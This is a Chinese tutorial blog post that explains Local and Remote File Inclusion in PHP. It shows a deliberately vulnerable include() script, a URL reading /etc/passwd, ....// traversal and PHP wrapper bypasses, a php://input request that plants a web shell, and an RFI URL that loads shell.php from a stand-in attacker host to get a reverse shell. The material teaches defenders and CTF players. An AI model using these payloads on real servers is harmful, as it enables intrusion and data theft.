中场休息过後,来看一下LFI和RFI吧!
LFI全称Local File Inclusion,从字面上就可以大致理解这种攻击手法,简单来说就是攻击者利用网站上某些会引入Server本地端的文件(档案),而去访问敏感(或预期外)档案的攻击手法。
download.php
<php
include($_REQUEST["f"]);
?>
从这段code和档案名称可以看出,网站中的download.php提供了下载某个档案的功能,这在现实场景也会看到。若是没有正确的过滤或不恰当的使用,就可能引发LFI,例如在download.php中有个档案叫register.pdf,当你点下这个pdf的连结後的网址是:
http://example.com/download.php?f=register.pdf
这时候改变f的值:
http://example.com/download.php?f=/etc/passwd
注:etc/passwd为Linux中包含使用者名称资讯的档案
就会看到像这样的资讯
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
...
当然只看到这些资讯可能没有甚麽作用,但透过其他方法可以使LFI变得更具威胁性。除了include之外require, include_once, require-once这些也都有可能引发LFI。另外除了/etc/passwd
,也可能被尝试leak一些预设位置的conf或其他系统设定档等等。
当然,网站开发者可能会对其做出一些限制或过滤,这时候可以使用相对路径来绕过,或是使用replace ../,但绕过的方法百百种,例如很简单的....//
....//....//....//....//etc/passwd
或是透过php中的伪协议:
file://
http://
php:// #php://filter , php://imput..
zip://
phar://
...
都可以做到绕过,若是有玩过一些CTF的人,应该对此也不陌生。
这之中又有一些威胁特别严重的如php://input
这可以让Server读取User的Post Request并当作php code执行,这就允许攻击者可以用来上传web shell,例如我们发送以下Request到有此漏洞的网站:
GET /f=php://input HTTP/1.1
Host: example.com
...
...
<?php echo system($_REQUEST['cmd']); ?>
其他还有像是引入php session触发的RCE这种手法,都会让LFI变得更加危险。
全称Remote File Include,也就是远程档案包含漏洞,这个与LFI不一样的是他可以包含"远程(非本地)"的档案。
这个漏洞危险的在於,攻击者可以透过在local架设一个简易的web service,例如:
python3 -m http.server 80
并在资料夹中写入一个Web shell或Reverse shell,来获得Server的initial access:
http://example.com/download?f=http://attacker/shell.php&cmd=<reverse shell>
下篇预告: HTTP Response Splitting
<<: [Day14] Webpack 入门 - 环境设定篇
昨天分享了特性组合的一般单独的使用方法, 今天要来分享一下他们的 Combo 连技和相关用到的东西...
Python - Python3 虚拟环境参考笔记 参考资料 资料来源:架设 Django 开发环境...
前面讲了那麽多函式希望大家都有好好吸收, 那麽我们来到了基本函式的最後一个环节了喔。 也就是Type...
09-13-2021 前言: 当我们需要的资料越多越繁杂时,我们所需要的是一个可以快速把按照我们所...
CSS Selectors 介绍 Selectors英文直接翻译是选择者、选择的物品等等,中文叫 选...